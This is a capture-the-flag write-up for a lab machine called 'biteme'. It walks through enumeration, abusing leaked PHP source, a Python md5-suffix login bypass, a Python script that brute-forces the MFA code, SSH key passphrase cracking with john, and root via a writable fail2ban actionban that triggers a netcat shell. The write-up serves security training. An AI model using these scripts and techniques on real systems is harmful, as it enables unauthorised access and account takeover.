๐Ÿ‘„biteme

Stay out of my server!

Enumeration

Nmap

I started by by do a full scan to the machine and the only ports revealed were 22(ssh) and 80(http).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 89:ec:67:1a:85:87:c6:f6:64:ad:a7:d1:9e:3a:11:94 (RSA)
|   256 7f:6b:3c:f8:21:50:d9:8b:52:04:34:a5:4d:03:3a:26 (ECDSA)
|_  256 c4:5b:e5:26:94:06:ee:76:21:75:27:bc:cd:ba:af:cc (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works

Nikto

+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 2aa6, size: 5cca9f3818435, mtime: gzip
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: OPTIONS, HEAD, GET, POST 
+ OSVDB-3233: /icons/README: Apache default file found.
+ Cookie PHPSESSID created without the httponly flag
+ /console/: Application console found

Gobuster

/console              (Status: 301) [Size: 316] [--> http://10.10.221.213/console/]
/server-status        (Status: 403) [Size: 278]            

With both Nikto and Gobuster i founded a strange and interesting endpoint called /console

Console.php

In this endpoint we have a login form with a captcha in place so it means that its pretty hard to brute force the login system with tools such as hydra.

Once we tried to login with dummy inputs we get a strange message in the browser console:

@fred I turned on php file syntax highlighting for you to review... jason

With a quick search we stumble into the php documentation of a extension called highlight_file.

Maybe its what the message is talking about! So with a quick read we know that files with .phps extension were generated and contained the source code of some pages.

What we did was, search for .phps files in the console directory using the following command:

ffuf -c -w ~/lists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://10.10.221.213/console/FUZZ.phps

And this where the results:

index                   [Status: 200, Size: 9325, Words: 297, Lines: 3]1
config                  [Status: 200, Size: 354, Words: 17, Lines: 4]
functions               [Status: 200, Size: 2010, Words: 93, Lines: 4]

It means that if we search for example http://<MACHINE_IP>/console/config.phps , we get the sourse code of the http://<MACHINE_IP>/console/config.php php file.

http://<MACHINE_IP>/console/config.phps

 <?php

define('LOGIN_USER', '6a61736f6e5f746573745f6163636f756e74'); 

http://<MACHINE_IP>/console/functions.phps


 <?php
include('config.php');

function is_valid_user($user) {
    $user = bin2hex($user);

    return $user === LOGIN_USER;
}

// @fred let's talk about ways to make this more secure but still flexible
function is_valid_pwd($pwd) {
    $hash = md5($pwd);

    return substr($hash, -3) === '001';
} 

Looking at the function is_valid_user() in functions.phps, we can see that what we got in config.phps is the hexadecimal value of our user. WIth the help of cyberchef we get the user: jason_test_account

Then in the is_valid_pwd() function we can see that the md5 of the password just needs to end with 001 , so i built a script with python to generate a string with multiple "a" until we reach a string that has the md5 hash ending with 001.

import hashlib
  
# initializing string
str2hash = "a"
hex = ""
while(hex != "001"):
	str2hash += "a"
	result = hashlib.md5(str2hash.encode())
	hex = result.hexdigest()[-3:]

print("this is the out" + str2hash)

After some tries we get our string. Once we insert the user and the password we generate we then go to a multiple factor authentication or mfa, in mfa.php.

mfa.php

When we try a value we get another interesting message:

@fred we need to put some brute force protection on here, remind me in the morning... jason

WIth the following message i suspect that they does not have protection against brute force attacks. So I tried to use burpsuite intruder to do it but it was to slow. In fact, with a quick research I found out that the free version makes the requests throtle and it does like 1 request per 5 seconds.

So i built a script to bruteforce the mfa using python.

import requests

def generate_list():
	list = []
	for num in range(0, 10000):
		list.append('{0:04}'.format(num))
	return list

def generate_request(ip, num, token):
	url = "http://" + ip + "/console/mfa.php"
	headers = {'Content-Type': 'application/x-www-form-urlencoded'}
	cookies = {'PHPSESSID': token, 'user': 'jason_test_account', 'pwd' : '<password>'}
	data ={"code": num }
	r = requests.post(url, cookies=cookies, headers=headers, data=data)
	return len(r.text)

list = generate_list()

ip = "10.10.28.148"
token = "spjgmpj8amqcg33lfb2bju610n"
result = ""

for num in list:
	i = generate_request(ip, num, token)
	if i != 1523: #The 1523 is the content size of a failed attempt
		result = num
		break

print(result)

In a matter of minutes we got the code and we pass the MFA.

dashboard.php

After getting into the dashboard.php page we see that we can view files and directories but we cannot get our foothold inside the machine so we will search for something to help us. And the first thing that i remember to look for was the potential ssh keys.

And I was right, after found the ssh private key I copied to my machine and saved it into a file with 600 mode.

Brute force ssh private key

I have tried to use the ssh key to login as the jason user but it asked me for a password so I used john to crack the password.

First I used ssh2john to create the ssh private key hash.

python ssh2john.py id_rsa > hash

Then I used john with rockyou.txt wordlist to try to find the passphrase and in a couple of seconds I did it!

john --wordlist=~/lists/rockyou.txt hash 

System

Jason user

Once we have a shell as the user jason we execute linpeas to search for vulnerabilties in the machine.

At first I didn't found anything but when I did sudo -l , I got this:

User jason may run the following commands on biteme:
    (ALL : ALL) ALL
    (fred) NOPASSWD: ALL

This means that we have access to all the things that the user fred has without using our password. Since we do not know the jason password we use the command: sudo -u fred -i /bin/bash to switch to a shell as the fred user to see if we can find something to escalate privileges to root.

Fred user

Using the command: sudo -l, we got:

User fred may run the following commands on biteme:
    (root) NOPASSWD: /bin/systemctl restart fail2ban

Since that we do not have the password for the user fred it makes sense to try to explore how we can use the following command to escalate into root since we are executing that command as root.

fail2ban vulnerabilty

I have found a source that explains how to take advantage of fail2ban to escalate privileges.

Basically since we could restart fail2ban as root we could abuse the actionban, located at /etc/fail2ban/action.d/iptables-multiport.conf.

Actionban is a command that is trigger when fail2ban bans an IP after this IP tried to login multiple times into the system. Since we can write in this file we can setup a netcat listener and place a netcat command to be executed.

After adding the command we restart the fail2ban and then open another terminal and we try a lot of nonsense passwords trying to connect to the user jason via ssh.

After some tries we got a shell as root!!! ๐Ÿ˜„

Last updated